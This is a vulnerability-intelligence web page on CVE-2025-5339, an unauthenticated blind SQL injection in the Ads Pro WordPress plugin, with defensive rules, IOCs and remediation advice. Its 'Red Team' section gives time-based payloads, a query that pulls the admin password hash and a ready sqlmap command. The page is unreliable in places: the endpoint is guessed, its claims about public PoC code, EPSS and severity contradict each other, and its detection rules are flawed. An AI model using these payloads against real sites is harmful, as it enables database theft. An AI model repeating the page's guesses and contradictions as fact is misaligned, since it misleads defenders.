☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5339

CVE-2025-5339 SQL Injection in Ads pro plugin
📅 PUBLISHED: 2025-07-02 03:47 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5339 is a critical unauthenticated time-based blind SQL Injection vulnerability discovered in the Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress. The flaw resides in the bsa_pro_id parameter, which is insufficiently sanitized and used directly in SQL queries without proper parameterization. This allows any unauthenticated attacker to inject arbitrary SQL commands, potentially extracting sensitive data from the WordPress database, including user credentials, session tokens, and configuration secrets. The vulnerability affects all versions up to and including 4.89. No patch is currently available, and no public proof-of-concept exploit has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high due to the unauthenticated nature and the widespread use of WordPress.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Ads Pro plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch exists, the supply chain risk is elevated; users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full database read access possible.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (High)
Threat Level: High – Unauthenticated remote SQL injection with potential for data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection in the bsa_pro_id parameter. The plugin likely constructs a SQL query similar to:

SELECT * FROM wp_bsa_pro_data WHERE id = '{$bsa_pro_id}'

Without proper escaping or prepared statements, an attacker can inject a payload such as:

1' AND SLEEP(5)--

This causes a time delay, confirming the injection point. By using conditional SLEEP() statements, an attacker can extract data character by character, such as the WordPress admin hash or database credentials.

The injection is blind (no error output), so the attacker relies on time-based responses. The bsa_pro_id parameter is likely passed via GET or POST request to an AJAX endpoint or a shortcode handler.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$bsa_pro_id = $_GET['bsa_pro_id'];
$query = "SELECT * FROM wp_bsa_pro_data WHERE id = '$bsa_pro_id'";
$result = $wpdb->get_results($query);

Patched Code (Conceptual):

$bsa_pro_id = intval($_GET['bsa_pro_id']);
$query = $wpdb->prepare("SELECT * FROM wp_bsa_pro_data WHERE id = %d", $bsa_pro_id);
$result = $wpdb->get_results($query);

The patch uses intval() to force integer input and $wpdb->prepare() for parameterized queries. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress with the Ads Pro plugin version 4.89.
  2. Ensure the plugin is active and accessible via a web server.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1).
  2. Test for injection with a time-based payload:
    GET /wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1' AND SLEEP(5)--
    
  3. If the response is delayed by 5 seconds, the injection is confirmed.
  4. Use a tool like sqlmap to automate data extraction:
    sqlmap -u "http://target/wp-admin/admin-ajax.php?action=bsa_pro_get_data&bsa_pro_id=1" --batch --time-sec=5 --dbs
    

Manual Payload Example:

1' AND (SELECT IF(SUBSTRING(user_pass,1,1)='$',SLEEP(5),0) FROM wp_users LIMIT 1)--

Blue Team (Defensive)

Detection:

  • Monitor for unusual bsa_pro_id parameter values containing SQL keywords (AND, OR, SLEEP, UNION, etc.).
  • Look for requests with long response times (e.g., >3 seconds) to the same endpoint.
  • Use WAF rules to block SQL injection patterns.

Mitigation:

  • Immediately disable the Ads Pro plugin if no patch is available.
  • Implement a Web Application Firewall (WAF) with SQL injection rules.
  • Restrict access to the vulnerable endpoint via .htaccess or server config.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=bsa_pro_get_data and bsa_pro_id containing SQL syntax.
    • Unusually high response times (e.g., >5 seconds) for such requests.
  • File IOCs:
    • Modified plugin files in /wp-content/plugins/ads-pro/ (e.g., added backdoors).
  • Database IOCs:
    • Suspicious entries in wp_bsa_pro_data table.
    • New admin users or modified user roles.

Detection Engineering

YARA Rule

rule CVE_2025_5339_Ads_Pro_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-5339 in Ads Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5339"
    strings:
        $sqli1 = "bsa_pro_id=" nocase
        $sqli2 = "SLEEP(" nocase
        $sqli3 = "AND " nocase
        $sqli4 = "OR " nocase
        $sqli5 = "UNION" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-5339 - Ads Pro SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against the Ads Pro plugin bsa_pro_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'bsa_pro_id='
        cs-uri-query|contains|all:
            - 'SLEEP('
            - 'AND'
            - 'OR'
            - 'UNION'
    condition: selection
falsepositives:
    - Legitimate use of special characters in IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5339 - Ads Pro SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=bsa_pro_get_data"; http_uri; content:"bsa_pro_id="; http_uri; pcre:"/bsa_pro_id=[^&]*(SLEEP|AND|OR|UNION)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the Ads Pro plugin until a patch is released.
  2. Short-term: Implement a WAF rule to block requests containing SQL keywords in the bsa_pro_id parameter.
  3. Long-term: Apply the conceptual patch (use intval() and $wpdb->prepare()) if you have developer access, or wait for an official update.
  4. Monitoring: Enable logging for all requests to admin-ajax.php and review for anomalies.
  5. Backup: Ensure regular database backups to facilitate recovery if data is compromised.

Valters IT
Securing Digital Ecosystems

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"ads-pro"
http.html:"wp-content/plugins/ads-pro"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5339/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.